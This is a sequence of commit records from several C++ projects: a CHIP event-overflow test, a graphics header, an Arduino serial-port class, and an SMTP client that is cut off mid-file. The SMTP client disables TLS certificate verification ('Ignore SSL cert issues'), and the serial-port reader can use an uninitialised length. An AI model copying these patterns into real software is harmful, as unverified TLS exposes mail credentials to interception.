Finalize(void * context)\n    {\n        chip::app::EventManagement::DestroyEventManagement();\n\n        if (AppContext::Finalize(context) != SUCCESS)\n            return FAILURE;\n\n        return SUCCESS;\n    }\n};\n\nclass TestEventGenerator : public chip::app::EventLoggingDelegate\n{\npublic:\n    CHIP_ERROR WriteEvent(chip::TLV::TLVWriter & aWriter)\n    {\n        chip::TLV::TLVType dataContainerType;\n        ReturnErrorOnFailure(aWriter.StartContainer(chip::TLV::ContextTag(chip::to_underlying(chip::app::EventDataIB::Tag::kData)),\n                                                    chip::TLV::kTLVType_Structure, dataContainerType));\n        ReturnErrorOnFailure(aWriter.Put(chip::TLV::ContextTag(1), 1));\n        ReturnErrorOnFailure(aWriter.Put(chip::TLV::ContextTag(2), 2));\n        return aWriter.EndContainer(dataContainerType);\n    }\n};\n\nstatic void CheckLogEventOverFlow(nlTestSuite * apSuite, void * apContext)\n{\n    CHIP_ERROR err           = CHIP_NO_ERROR;\n    chip::EventNumber oldEid = 0;\n    chip::EventNumber eid    = 0;\n    chip::app::EventOptions options;\n    TestEventGenerator testEventGenerator;\n\n    chip::EndpointId testEndpointId = 1;\n    chip::ClusterId testClusterId   = 0x00000006;\n    chip::EventId testEvent         = 1;\n    options.mPath                   = { testEndpointId, testClusterId, testEvent };\n    options.mPriority               = chip::app::PriorityLevel::Debug;\n\n    chip::app::EventManagement & logMgmt = chip::app::EventManagement::GetInstance();\n    int alternate                        = 0;\n    for (int i = 0; i < 500; i++)\n    {\n        switch (alternate)\n        {\n        case 0:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 1:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 2:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 3:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 4:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 5:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 6:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 7:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 8:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 9:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        }\n        alternate = i % 10;\n\n        err = logMgmt.LogEvent(&testEventGenerator, options, eid);\n        NL_TEST_ASSERT(apSuite, err == CHIP_NO_ERROR);\n        if (eid > 0)\n        {\n            NL_TEST_ASSERT(apSuite, eid == oldEid + 1);\n            oldEid = eid;\n        }\n    }\n}\n\nconst nlTest sTests[] = { NL_TEST_DEF(\"CheckLogEventOverFlow\", CheckLogEventOverFlow), NL_TEST_SENTINEL() };\n\n\/\/ clang-format off\nnlTestSuite sSuite =\n{\n    \"TestEventOverflow\",\n    &sTests[0],\n    TestContext::InitializeAsync,\n    TestContext::Finalize\n};\n\/\/ clang-format on\n\n} \/\/ namespace\n\nint TestEventOverflow()\n{\n    TestContext gContext;\n    nlTestRunner(&sSuite, &gContext);\n    return (nlTestRunnerStats(&sSuite));\n}\n\nCHIP_REGISTER_TEST_SUITE(TestEventOverflow)\n<commit_msg>Fix TLV put cast (#15747)<commit_after>\/*\n *\n *    Copyright (c) 2022 Project CHIP Authors\n *    All rights reserved.\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\n\/**\n *    @file\n *      This file implements a test for  CHIP Interaction Model Event logging\n *\n *\/\n\n#include <app\/ClusterInfo.h>\n#include <app\/EventLoggingDelegate.h>\n#include <app\/EventLoggingTypes.h>\n#include <app\/EventManagement.h>\n#include <app\/InteractionModelEngine.h>\n#include <app\/tests\/AppTestContext.h>\n#include <lib\/core\/CHIPCore.h>\n#include <lib\/core\/CHIPTLV.h>\n#include <lib\/core\/CHIPTLVDebug.hpp>\n#include <lib\/core\/CHIPTLVUtilities.hpp>\n#include <lib\/support\/EnforceFormat.h>\n#include <lib\/support\/ErrorStr.h>\n#include <lib\/support\/UnitTestRegistration.h>\n#include <lib\/support\/logging\/Constants.h>\n#include <messaging\/ExchangeContext.h>\n#include <messaging\/Flags.h>\n#include <platform\/CHIPDeviceLayer.h>\n#include <system\/TLVPacketBufferBackingStore.h>\n\n#include <nlunit-test.h>\n\nnamespace {\n\nstatic uint8_t gDebugEventBuffer[2048];\nstatic uint8_t gInfoEventBuffer[2048];\nstatic uint8_t gCritEventBuffer[2048];\nstatic chip::app::CircularEventBuffer gCircularEventBuffer[3];\n\nclass TestContext : public chip::Test::AppContext\n{\npublic:\n    static int InitializeAsync(void * context)\n    {\n        if (AppContext::InitializeAsync(context) != SUCCESS)\n            return FAILURE;\n\n        auto * ctx = static_cast<TestContext *>(context);\n\n        chip::app::LogStorageResources logStorageResources[] = {\n            { &gDebugEventBuffer[0], sizeof(gDebugEventBuffer), chip::app::PriorityLevel::Debug },\n            { &gInfoEventBuffer[0], sizeof(gInfoEventBuffer), chip::app::PriorityLevel::Info },\n            { &gCritEventBuffer[0], sizeof(gCritEventBuffer), chip::app::PriorityLevel::Critical },\n        };\n\n        chip::app::EventManagement::CreateEventManagement(&ctx->GetExchangeManager(),\n                                                          sizeof(logStorageResources) \/ sizeof(logStorageResources[0]),\n                                                          gCircularEventBuffer, logStorageResources, nullptr, 0, nullptr);\n\n        return SUCCESS;\n    }\n\n    static int Finalize(void * context)\n    {\n        chip::app::EventManagement::DestroyEventManagement();\n\n        if (AppContext::Finalize(context) != SUCCESS)\n            return FAILURE;\n\n        return SUCCESS;\n    }\n};\n\nclass TestEventGenerator : public chip::app::EventLoggingDelegate\n{\npublic:\n    CHIP_ERROR WriteEvent(chip::TLV::TLVWriter & aWriter)\n    {\n        chip::TLV::TLVType dataContainerType;\n        ReturnErrorOnFailure(aWriter.StartContainer(chip::TLV::ContextTag(chip::to_underlying(chip::app::EventDataIB::Tag::kData)),\n                                                    chip::TLV::kTLVType_Structure, dataContainerType));\n        ReturnErrorOnFailure(aWriter.Put(chip::TLV::ContextTag(1), static_cast<uint32_t>(1)));\n        ReturnErrorOnFailure(aWriter.Put(chip::TLV::ContextTag(2), static_cast<uint32_t>(2)));\n        return aWriter.EndContainer(dataContainerType);\n    }\n};\n\nstatic void CheckLogEventOverFlow(nlTestSuite * apSuite, void * apContext)\n{\n    CHIP_ERROR err           = CHIP_NO_ERROR;\n    chip::EventNumber oldEid = 0;\n    chip::EventNumber eid    = 0;\n    chip::app::EventOptions options;\n    TestEventGenerator testEventGenerator;\n\n    chip::EndpointId testEndpointId = 1;\n    chip::ClusterId testClusterId   = 0x00000006;\n    chip::EventId testEvent         = 1;\n    options.mPath                   = { testEndpointId, testClusterId, testEvent };\n    options.mPriority               = chip::app::PriorityLevel::Debug;\n\n    chip::app::EventManagement & logMgmt = chip::app::EventManagement::GetInstance();\n    int alternate                        = 0;\n    for (int i = 0; i < 500; i++)\n    {\n        switch (alternate)\n        {\n        case 0:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 1:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 2:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 3:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 4:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 5:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 6:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 7:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        case 8:\n            options.mPriority = chip::app::PriorityLevel::Critical;\n            break;\n        case 9:\n            options.mPriority = chip::app::PriorityLevel::Debug;\n            break;\n        }\n        alternate = i % 10;\n\n        err = logMgmt.LogEvent(&testEventGenerator, options, eid);\n        NL_TEST_ASSERT(apSuite, err == CHIP_NO_ERROR);\n        if (eid > 0)\n        {\n            NL_TEST_ASSERT(apSuite, eid == oldEid + 1);\n            oldEid = eid;\n        }\n    }\n}\n\nconst nlTest sTests[] = { NL_TEST_DEF(\"CheckLogEventOverFlow\", CheckLogEventOverFlow), NL_TEST_SENTINEL() };\n\n\/\/ clang-format off\nnlTestSuite sSuite =\n{\n    \"TestEventOverflow\",\n    &sTests[0],\n    TestContext::InitializeAsync,\n    TestContext::Finalize\n};\n\/\/ clang-format on\n\n} \/\/ namespace\n\nint TestEventOverflow()\n{\n    TestContext gContext;\n    nlTestRunner(&sSuite, &gContext);\n    return (nlTestRunnerStats(&sSuite));\n}\n\nCHIP_REGISTER_TEST_SUITE(TestEventOverflow)\n<|endoftext|>"}
{"text":"<commit_before>#ifndef ___INANITY_INANITY_GRAPHICS_HPP___\n#define ___INANITY_INANITY_GRAPHICS_HPP___\n\n\/* Файл, содержащий ссылки на конкретную реализацию графической подсистемы.\n *\/\n\n#ifdef ___INANITY_WINDOWS___\n\n\/\/ В Windows используется подсистема DX, использующая DirectX 11\n\n\/\/ Заголовочные файлы.\n\n#include \"dx\/System.hpp\"\n\n\/\/ Определения.\n\nnamespace Graphics\n{\n\ttypedef DX::System System;\n\ttypedef DX::Texture Texture;\n\ttypedef DX::ConstantBuffer ConstantBuffer;\n\ttypedef DX::Geometry Geometry;\n\ttypedef DX::GeometryFormat GeometryFormat;\n};\n\n#endif\n\n#endif\n<commit_msg>inanity graphics header fixes<commit_after>#ifndef ___INANITY_INANITY_GRAPHICS_HPP___\n#define ___INANITY_INANITY_GRAPHICS_HPP___\n\n\/* Файл, содержащий ссылки на конкретную реализацию графической подсистемы.\n *\/\n\n\/\/ В Windows используется подсистема DX, использующая DirectX 11\n#ifdef ___INANITY_WINDOWS\n#define ___INANITY_GRAPHICS_DX\n#else\n#error There is no implemented graphics system for current platform.\n#endif\n\n#include \"graphics\/graphics.hpp\"\n#include \"graphics\/System.hpp\"\n#include \"graphics\/Texture.hpp\"\n#include \"graphics\/Window.hpp\"\n#include \"graphics\/PixelFormat.hpp\"\n#include \"graphics\/Geometry.hpp\"\n#include \"graphics\/GeometryFormat.hpp\"\n#include \"graphics\/GeometrySemantic.hpp\"\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"SerialPort.h\"\n\nSerialPort::SerialPort(char *portName)\n{\n    this->connected = false;\n\n    this->handler = CreateFileA(static_cast<LPCSTR>(portName),\n                                GENERIC_READ | GENERIC_WRITE,\n                                0,\n                                NULL,\n                                OPEN_EXISTING,\n                                FILE_ATTRIBUTE_NORMAL,\n                                NULL);\n    if (this->handler == INVALID_HANDLE_VALUE){\n        if (GetLastError() == ERROR_FILE_NOT_FOUND){\n            printf(\"ERROR: Handle was not attached. Reason: %s not available\\n\", portName);\n        }\n    else\n        {\n            printf(\"ERROR!!!\");\n        }\n    }\n    else {\n        DCB dcbSerialParameters = {0};\n\n        if (!GetCommState(this->handler, &dcbSerialParameters)) {\n            printf(\"failed to get current serial parameters\");\n        }\n        else {\n            dcbSerialParameters.BaudRate = CBR_9600;\n            dcbSerialParameters.ByteSize = 8;\n            dcbSerialParameters.StopBits = ONESTOPBIT;\n            dcbSerialParameters.Parity = NOPARITY;\n            dcbSerialParameters.fDtrControl = DTR_CONTROL_ENABLE;\n\n            if (!SetCommState(handler, &dcbSerialParameters))\n            {\n                printf(\"ALERT: could not set Serial port parameters\\n\");\n            }\n            else {\n                this->connected = true;\n                PurgeComm(this->handler, PURGE_RXCLEAR | PURGE_TXCLEAR);\n                Sleep(ARDUINO_WAIT_TIME);\n            }\n        }\n    }\n}\n\nSerialPort::~SerialPort()\n{\n    if (this->connected){\n        this->connected = false;\n        CloseHandle(this->handler);\n    }\n}\n\nint SerialPort::readSerialPort(char *buffer, unsigned int buf_size)\n{\n    DWORD bytesRead;\n    unsigned int toRead;\n\n    ClearCommError(this->handler, &this->errors, &this->status);\n\n    if (this->status.cbInQue > 0){\n        if (this->status.cbInQue > buf_size){\n            toRead = buf_size;\n        }\n        else toRead = this->status.cbInQue;\n    }\n\n    if (ReadFile(this->handler, buffer, toRead, &bytesRead, NULL)) return bytesRead;\n\n    return 0;\n}\n\nbool SerialPort::writeSerialPort(char *buffer, unsigned int buf_size)\n{\n    DWORD bytesSend;\n\n    if (!WriteFile(this->handler, (void*) buffer, buf_size, &bytesSend, 0)){\n        ClearCommError(this->handler, &this->errors, &this->status);\n        return false;\n    }\n    else return true;\n}\n\nbool SerialPort::isConnected()\n{\n    return this->connected;\n}\n<commit_msg>Update SerialPort.cpp<commit_after>\/*\n* Author: Manash Kumar Mandal\n* Modified Library introduced in Arduino Playground which does not work\n* This works perfectly\n* LICENSE: MIT\n*\/\n\n#include \"SerialPort.h\"\n\nSerialPort::SerialPort(char *portName)\n{\n    this->connected = false;\n\n    this->handler = CreateFileA(static_cast<LPCSTR>(portName),\n                                GENERIC_READ | GENERIC_WRITE,\n                                0,\n                                NULL,\n                                OPEN_EXISTING,\n                                FILE_ATTRIBUTE_NORMAL,\n                                NULL);\n    if (this->handler == INVALID_HANDLE_VALUE){\n        if (GetLastError() == ERROR_FILE_NOT_FOUND){\n            printf(\"ERROR: Handle was not attached. Reason: %s not available\\n\", portName);\n        }\n    else\n        {\n            printf(\"ERROR!!!\");\n        }\n    }\n    else {\n        DCB dcbSerialParameters = {0};\n\n        if (!GetCommState(this->handler, &dcbSerialParameters)) {\n            printf(\"failed to get current serial parameters\");\n        }\n        else {\n            dcbSerialParameters.BaudRate = CBR_9600;\n            dcbSerialParameters.ByteSize = 8;\n            dcbSerialParameters.StopBits = ONESTOPBIT;\n            dcbSerialParameters.Parity = NOPARITY;\n            dcbSerialParameters.fDtrControl = DTR_CONTROL_ENABLE;\n\n            if (!SetCommState(handler, &dcbSerialParameters))\n            {\n                printf(\"ALERT: could not set Serial port parameters\\n\");\n            }\n            else {\n                this->connected = true;\n                PurgeComm(this->handler, PURGE_RXCLEAR | PURGE_TXCLEAR);\n                Sleep(ARDUINO_WAIT_TIME);\n            }\n        }\n    }\n}\n\nSerialPort::~SerialPort()\n{\n    if (this->connected){\n        this->connected = false;\n        CloseHandle(this->handler);\n    }\n}\n\nint SerialPort::readSerialPort(char *buffer, unsigned int buf_size)\n{\n    DWORD bytesRead;\n    unsigned int toRead;\n\n    ClearCommError(this->handler, &this->errors, &this->status);\n\n    if (this->status.cbInQue > 0){\n        if (this->status.cbInQue > buf_size){\n            toRead = buf_size;\n        }\n        else toRead = this->status.cbInQue;\n    }\n\n    if (ReadFile(this->handler, buffer, toRead, &bytesRead, NULL)) return bytesRead;\n\n    return 0;\n}\n\nbool SerialPort::writeSerialPort(char *buffer, unsigned int buf_size)\n{\n    DWORD bytesSend;\n\n    if (!WriteFile(this->handler, (void*) buffer, buf_size, &bytesSend, 0)){\n        ClearCommError(this->handler, &this->errors, &this->status);\n        return false;\n    }\n    else return true;\n}\n\nbool SerialPort::isConnected()\n{\n    return this->connected;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2001,2002 Steven M. Cherry. All rights reserved.\n *\n * This file is a part of slib - a c++ utility library\n *\n * The slib project, including all files needed to compile \n * it, is free software; you can redistribute it and\/or use it and\/or modify \n * it under the terms of the GNU Lesser General Public License as published by \n * the Free Software Foundation.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * You should have received a copy of the GNU Lesser General Public License \n * along with this program.  See file COPYING for details.\n *\/\n\n#include \"SmtpClient.h\"\n#include \"Date.h\"\n#include \"EnEx.h\"\n#include \"Log.h\"\n#include \"memptr.h\"\n#include \"dptr.h\"\n#include \"AnException.h\"\n#include \"XmlHelpers.h\"\n#include \"TmpFile.h\"\nusing namespace SLib;\n\nstatic bool SmtpClient_cURL_Initialized = false;\n\n\/** This one is used by the object (non-static) version of the methods below.\n  *\/\nsize_t SmtpClient_ReadMemoryCallback(void* contents, size_t size, size_t nmemb, void* userp)\n{\n\tSmtpClient* client = (SmtpClient*)userp;\n\n\t\/\/printf(\"SmtpClient_ReadMemoryCallback(contents, %ld, %ld, userp) SendIndex = %ld\\n\", size, nmemb, client->SendIndex);\n\n\t\/\/ If they don't want us to ready any memory, bail out quickly.\n\tif( (size == 0) || (nmemb == 0) || ((size*nmemb) < 1)) {\n\t\t\/\/printf(\"SmtpClient_ReadMemoryCallback - size\/nmemb is zero\\n\");\n\t\treturn 0;\n\t}\n\n\t\/\/ If we've sent all of our memory already, bail out quickly\n\tif(client->SendIndex >= client->SendLines.size()){\n\t\t\/\/printf(\"SmtpClient_ReadMemoryCallback - nothing more to send.\\n\");\n\t\treturn 0; \/\/ nothing more to send\n\t}\n\n\tsize_t len = client->SendLines[ client->SendIndex ].size();\n\tmemcpy(contents, client->SendLines[ client->SendIndex ](), len );\n\tclient->SendIndex ++;\n\treturn len;\n\n\t\/*\n\t\/\/ How much are they asking for?\n\tsize_t realsize = size * nmemb;\n\n\tif( realsize > (client->SendBuffer.size() - client->SendIndex) ){\n\t\t\/\/ They are asking for more data than we have.  Send it all:\n\t\tmemcpy( contents,  \/\/ Where to write the memory\n\t\t\tclient->SendBuffer() + client->SendIndex,  \/\/ Where to read the memory\n\t\t\tclient->SendBuffer.size() - client->SendIndex \/\/ How much to write\n\t\t);\n\n\t\tprintf(\"Smtp_ReadMemoryCallback - wrote %ld bytes to buffer\\n\", \n\t\t\tclient->SendBuffer.size() - client->SendIndex\n\t\t);\n\t\t\t\n\t\tclient->SendIndex = client->SendBuffer.size();\n\t\treturn (client->SendBuffer.size() - client->SendIndex); \/\/ how much did we write\n\t} else {\n\t\t\/\/ They are asking for less than what we have.  Send only what they\n\t\t\/\/ ask for\n\t\tmemcpy( contents, \/\/ where to write the memory\n\t\t\tclient->SendBuffer() + client->SendIndex, \/\/ Where to read the memory\n\t\t\trealsize \/\/ How much to write\n\t\t);\n\n\t\tprintf(\"Smtp_ReadMemoryCallback - wrote %ld bytes to buffer\\n\", \n\t\t\trealsize\n\t\t);\n\t\t\t\n\t\tclient->SendIndex += realsize; \/\/ Keep track of where we are in the buffer\n\t\treturn realsize; \/\/ Hom much did we write\n\t}\n\t*\/\n}\n\n\/** This one is used to report progress of downloads\n  *\/\nint SmtpClient_ProgressCallback(void* clientp, double dltotal, double dlnow, double ultotal, double ulnow)\n{\n\tSmtpClient* client = (SmtpClient*)clientp;\n\treturn client->Progress(dltotal, dlnow, ultotal, ulnow);\n}\n\nSmtpClient::SmtpClient()\n{\n\tEnEx ee(FL, \"SmtpClient::SmtpClient()\");\n\n\tif(SmtpClient_cURL_Initialized == false){\n\t\tcurl_global_init(CURL_GLOBAL_ALL);\n\t\tSmtpClient_cURL_Initialized = true;\n\t}\n\tm_curl_handle = curl_easy_init();\n}\n\nSmtpClient::~SmtpClient()\n{\n\tEnEx ee(FL, \"SmtpClient::~SmtpClient()\");\n\n\tcurl_easy_cleanup( m_curl_handle );\n}\n\nint SmtpClient::Progress(double dltotal, double dlnow, double ultotal, double ulnow)\n{\n\t\/\/ If we return a non-zero value, it will abort the transfer.\n\treturn 0;\n}\n\nvoid SmtpClient::Send(EMail& message, const twine& smtpServer, const twine& user, const twine& pass, \n\tint port, bool useSsl)\n{\n\tEnEx ee(FL, \"SmtpClient::Send(EMail& message, const twine& smtpServer, const twine& user, const twine& pass, int port, bool useSsl)\");\n\n\tTmpFile verboseLog; \/\/ Create a temp file to hold the verbose log - will be cleaned up when this method exits\n\tSendLines.clear();\n\tSendIndex = 0;\n\tFormatMessage( message );\n\n\t\/\/printf(\"Here's what we're sending:\\n%s\\n\", SendLines() );\n\n\tCURLcode res = CURLE_OK;\n\tchar errbuf[ CURL_ERROR_SIZE ];\n\tmemset(errbuf, 0, CURL_ERROR_SIZE);\n\tstruct curl_slist *recipients = NULL;\n\n\t\/\/ Set the user name and password\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_USERNAME, user() );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_PASSWORD, pass() );\n\n\t\/\/ Set up the URL for the mail server.  Default port is 25, 587 is commonly used for \n\t\/\/ secure mail submission.\n\ttwine url; url.format(\"smtp:\/\/%s:%d\", smtpServer(), port);\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_URL, url() );\n\n\t\/\/ If they have asked for a secure connection, ensure that it's setup.\n\tif(useSsl){\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_USE_SSL, (long)CURLUSESSL_ALL );\n\t\t\/\/ Ignore SSL cert issues\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_SSL_VERIFYPEER, false);\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_SSL_VERIFYHOST, false);\n\t}\n\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_MAIL_FROM, message.From()() );\n\n\tfor(size_t i = 0; i < message.TOList().size(); i++){\n\t\trecipients = curl_slist_append(recipients, message.TOList()[ i ]() );\n\t}\n\tfor(size_t i = 0; i < message.CCList().size(); i++){\n\t\trecipients = curl_slist_append(recipients, message.CCList()[ i ]() );\n\t}\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_MAIL_RCPT, recipients );\n\n\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_READFUNCTION, SmtpClient_ReadMemoryCallback );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_READDATA, this );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_UPLOAD, 1L );\n\n\t\/\/ For progress information\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_NOPROGRESS, 0L);\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_PROGRESSFUNCTION, SmtpClient_ProgressCallback );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_PROGRESSDATA, this );\n\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_VERBOSE, 1L );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_ERRORBUFFER, errbuf );\n\tcurl_easy_setopt( m_curl_handle, CURLOPT_STDERR, (FILE*)verboseLog );\n\n\t\/\/ Add in proxy information if given\n\tif(!m_proxy.empty()){\n\t\tDEBUG(FL, \"Using proxy of (%s)\", m_proxy() );\n\t\tcurl_easy_setopt( m_curl_handle, CURLOPT_PROXY, m_proxy() );\n\t}\n\n\tPostOptions();\n\n\tres = curl_easy_perform( m_curl_handle );\n\tverboseLog.flush();\n\ttwine errmsg; \n\tif(res != CURLE_OK){\n\t\tWARN(FL, \"Sending SMTP Message failed: %s: %s\\n%s\", \n\t\t\tcurl_easy_strerror(res), errbuf, verboseLog.readContentsAsTwine()() \n\t\t);\n\t\terrmsg.format(\"Sending SMTP Message failed: %s: %s\", curl_easy_strerror(res), errbuf );\n\t\t\/\/printf(\"%s\", errmsg() );\n\t}\n\n\t\/\/ Always clean up and free lists\n\tcurl_slist_free_all(recipients);\n\tcurl_easy_reset( m_curl_handle );\n\n\tPostFree();\n\n\t\/\/ Now check to see if we need to throw an exception\n\tif(res != CURLE_OK){\n\t\tthrow AnException(0, FL, errmsg() );\n\t}\n\n}\n\nvoid SmtpClient::SetProxy(const twine& proxyUrl )\n{\n\tEnEx ee(FL, \"SmtpClient::SetProxy(const twine& proxyUrl)\");\n\n\tm_proxy = proxyUrl;\n}\n\nvoid SmtpClient::PostOptions()\n{\n\t\/\/ Our implementation does nothing with this method.  Child classes can override this as necessary.\n}\n\nvoid SmtpClient::PostFree()\n{\n\t\/\/ Our implementation does nothing with this method.  Child classes can override this as necessary.\n}\n\nvoid SmtpClient::FormatMessage(EMail& message )\n{\n\tEnEx ee(FL, \"SmtpClient::FormatMessage(EMail& message)\" );\n\n\t\/\/printf(\"here0\\n\");\n\tSendLines.clear();\n\tSendIndex = 0;\n\n\ttwine tmp;\n\n\tif(message.ReplyTo().size() == 0){\n\t\tmessage.ReplyTo(message.From());\n\t}\n\ttwine boundary;  boundary.format(\"SLibSmtpClient=%s\", message.CreateDate().GetValue(\"%Y%m%d%H%M%S\")() );\n\n\ttmp.format(\"From: %s\\r\\n\", message.From()() ); SendLines.push_back( tmp );\n\ttmp.format(\"Subject: %s\\r\\n\", message.Subject()() ); SendLines.push_back( tmp );\n\ttmp.format(\"Date: %s\\r\\n\", message.CreateDate().EDate()() ); SendLines.push_back( tmp );\n\ttmp.format(\"Reply-To: %s\\r\\n\", message.ReplyTo()() ); SendLines.push_back( tmp );\n\n\t\/\/ Add in any custom headers the user has specified\n\tfor(size_t i = 0; i < message.HeaderList().size(); i++){\n\t\ttmp.format(\"%s: %s\\r\\n\", message.HeaderList()[i].first(), message.HeaderList()[i].second() );\n\t\tSendLines.push_back( tmp );\n\t}\n\n\ttmp.format(\"MIME-Version: 1.0\\r\\n\" ); SendLines.push_back(tmp);\n\ttmp.format(\"Content-Type: multipart\/mixed; boundary=\\\"%s\\\"\\r\\n\", boundary() ); SendLines.push_back(tmp);\n\ttmp = \"To:\";\n\tfor(size_t i = 0; i < message.TOList().size()-1; i++){\n\t\ttmp += \" \" + message.TOList()[i] + \",\";\n\t}\n\ttmp += \" \" + message.TOList()[ message.TOList().size() - 1] + \"\\r\\n\";\n\tSendLines.push_back( tmp );\n\n\tif(message.CCList().size() > 0){\n\t\ttmp = \"Cc:\";\n\t\tfor(size_t i = 0; i < message.CCList().size()-1; i++){\n\t\t\ttmp += \" \" + message.CCList()[i] + \",\";\n\t\t}\n\t\ttmp += \" \" + message.CCList()[ message.CCList().size() - 1] + \"\\r\\n\";\n\t\tSendLines.push_back( tmp );\n\t}\n\n\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to divide headers from body\n\t\n\tSendLines.push_back( \"--\" + boundary + \"\\r\\n\" );\n\tSendLines.push_back( \"Content-Type: text\/plain; charset=utf-8\\r\\n\");\n\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to divide headers from body\n\n\tvector<twine> bodyLines = message.Body().split(\"\\n\");\n\tfor(size_t i = 0; i < bodyLines.size(); i++){\n\t\tSendLines.push_back( bodyLines[i] + \"\\r\\n\" );\n\t}\n\n\tvector< EMailAttachment >& attachments = message.AttachmentList();\n\tfor(size_t i = 0; i < attachments.size(); i++){\n\t\tSendLines.push_back( \"\\r\\n--\" + boundary + \"\\r\\n\" );\n\t\ttmp.format( \"Content-Type: %s; charset=utf-8\\r\\n\", attachments[i].mimeType() );\n\t\tSendLines.push_back( tmp );\n\t\ttmp.format( \"Content-Disposition: attachment; filename=\\\"%s\\\"\\r\\n\", attachments[i].fileName());\n\t\tSendLines.push_back( tmp );\n\t\tSendLines.push_back( \"Content-Transfer-Encoding: base64\\r\\n\");\n\t\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to divide headers from body\n\n\t\t\/\/ Make a copy of the data for base64 encoding:\n\t\tMemBuf dataCopy( *attachments[i].data );\n\n\t\t\/\/ base64 encode the attachment copy\n\t\tdataCopy.encode64();\n\n\t\ttwine b64; b64.set( dataCopy.data(), dataCopy.size() );\n\t\tvector<twine> attachLines = b64.split(\"\\n\");\n\t\tfor(size_t j = 0; j < attachLines.size(); j++){\n\t\t\tSendLines.push_back( attachLines[j] + \"\\r\\n\" );\n\t\t}\n\t\tSendLines.push_back( \"\\r\\n\" ); \/\/ Terminate the data\n\t}\n\n\tSendLines.push_back( \"\\r\\n\" ); \/\/ Empty line to signal end of section\n\tSendLines.push_back( \"--\" + boundary + \"--\\r\\n\" ); \/\/ Last boundary has -- before and after boundary text\n\n\t\/*\n\tfor(size_t i = 0; i < SendLines.size(); i++){\n\t\tprintf(\"%s\", SendLines[i]() );\n\t}\n\t*\/\n\n}\n<commit_msg>Omit empty e-mail addresses.<commit_after>\/*\n * Copyright (c) 2001,2002 Steven M. Cherry. All rights reserved.\n *\n * This file is a part of slib - a c++ utility library\n *\n * The slib project, including all files needed to compile \n * it, is free software; you can redistribute it and\/or use it and\/or modify \n * it under the terms of the GNU Lesser General Public License as published by \n * the Free Software Foundation.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * \n * You should have received a copy of the GNU Lesser General Public License \n * along with this program.  See file COPYING for details.\n *\/\n\n#include \"SmtpClient.h\"\n#include \"Date.h\"\n#include \"EnEx.h\"\n#include \"Log.h\"\n#include \"memptr.h\"\n#include \"dptr.h\"\n#include \"AnException.h\"\n#include \"XmlHelpers.h\"\n#include \"TmpFile.h\"\nusing namespace SLib;\n\nstatic bool SmtpClient_cURL_Initialized = false;\n\n\/** This one is used by the object (non-static) version of the methods below.\n  *\/\nsize_t SmtpClient_ReadMemoryCallback(void* contents, size_t size, size_t nmemb, void* userp)\n{\n\tSmtpClient* client = (SmtpClient*)userp;\n\n\t\/\/printf(\"SmtpClient_ReadMemoryCallback(contents, %ld, %ld, userp) SendIndex = %ld\\n\", size, nmemb, client->SendIndex);\n\n\t\/\/ If they don't want us to ready any memory, bail out quickly.\n\tif( (size == 0) || (nmemb == 0) || ((size*nmemb) < 1)) {\n\t\t\/\/printf(\"SmtpClient_ReadMemoryCallback - size\/nmemb is zero\\n\");\n\t\treturn 0;\n\t}\n\n\t\/\/ If we've sent all of our memory already, bail out quickly\n\tif(client->SendIndex >= client->SendLines.size()){\n\t\t\/\/printf(\"SmtpClient_ReadMemoryCallback - nothing more to send.\\n\");\n\t\treturn 0; \/\/ nothing more to 